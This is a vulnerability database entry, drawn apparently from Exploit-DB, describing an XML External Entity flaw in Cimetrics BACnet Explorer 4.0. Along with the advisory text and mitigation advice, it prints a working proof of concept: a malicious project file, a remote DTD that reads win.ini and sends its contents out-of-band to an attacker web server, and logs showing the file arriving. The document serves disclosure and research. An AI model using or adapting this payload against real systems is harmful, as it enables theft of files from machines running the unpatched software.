Cimetrics BACnet Explorer 4.0 XXE Vulnerability

vendor:

BACnet Explorer

by:

Gjoko 'LiquidWorm' Krstic

N/A

CVSS

HIGH

XML External Entity (XXE)

611

CWE

Product Name: BACnet Explorer

Affected Version From: 4.0.0.0

Affected Version To: 4.0.0.0

Patch Exists: NO

Related CWE:

CPE: a:cimetrics:bacnet_explorer:4.0.0.0

Metasploit:

Other Scripts:

Platforms Tested: Windows

2017

Cimetrics BACnet Explorer 4.0 XXE Vulnerability

Cimetrics BACnet Explorer 4.0 is vulnerable to an XML External Entity (XXE) vulnerability using the DTD parameter entities technique. This vulnerability allows for the disclosure and retrieval of arbitrary data on the affected node via an out-of-band (OOB) attack. The vulnerability occurs when input passed to the XML parser is not properly sanitized while parsing the XML project file.

Mitigation:

To mitigate this vulnerability, ensure that all input passed to the XML parser is properly sanitized to prevent the exploitation of XML External Entity (XXE) vulnerabilities. Additionally, it is recommended to update to a patched version of the software when available.

Source

Exploit-DB raw data:

Cimetrics BACnet Explorer 4.0 XXE Vulnerability


Vendor: Cimetrics, Inc.
Product web page: https://www.cimetrics.com
Affected version: 4.0.0.0

Summary: The BACnet Explorer is a BACnet client application that
helps auto discover BACnet devices.

Desc: BACnetExplorer suffers from an XML External Entity (XXE)
vulnerability using the DTD parameter entities technique resulting
in disclosure and retrieval of arbitrary data on the affected node
via out-of-band (OOB) attack. The vulnerability is triggered when
input passed to the xml parser is not sanitized while parsing the
xml project file.

Tested on: Microsoft Windows NT 6.1.7601 Service Pack 1
           mscorlib.dll: 4.0.30319.34209 built by: FX452RTMGDR
           BACstac Library: 1.5.6116.0
           BACstac Service: 6.8.3


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2017-5398
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5398.php


30.01.2017

--

Open file evil.xml:

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE zsl [
<!ENTITY % remote SYSTEM "http://192.168.1.71:8080/xxe.xml">
%remote;
%root;
%oob;]>


xxe.xml on the web server:

<!ENTITY % payload SYSTEM "file:///C:/windows/win.ini">
<!ENTITY % root "<!ENTITY &#37; oob SYSTEM 'http://192.168.1.71:8080/?%payload;'> ">


pyhon -m SimpleHTTPServer 8080

lab-PC - - [30/Jan/2017 00:47:44] "GET /?%5BMail%5D%0D%0ACMCDLLNAME32=mapi32.dll%0D%0ACMC=1%0D%0AMAPI=1%0D%0AMAPIX=1%0D%0AMAPIXVER=1.0.0.1%0D%0AOLEMessaging=1 HTTP/1.1" 301 -
lab-PC - - [30/Jan/2017 00:47:44] "GET /?%5BMail%5D%0D%0ACMCDLLNAME32=mapi32.dll%0D%0ACMC=1%0D%0AMAPI=1%0D%0AMAPIX=1%0D%0AMAPIXVER=1.0.0.1%0D%0AOLEMessaging=1/ HTTP/1.1" 200 -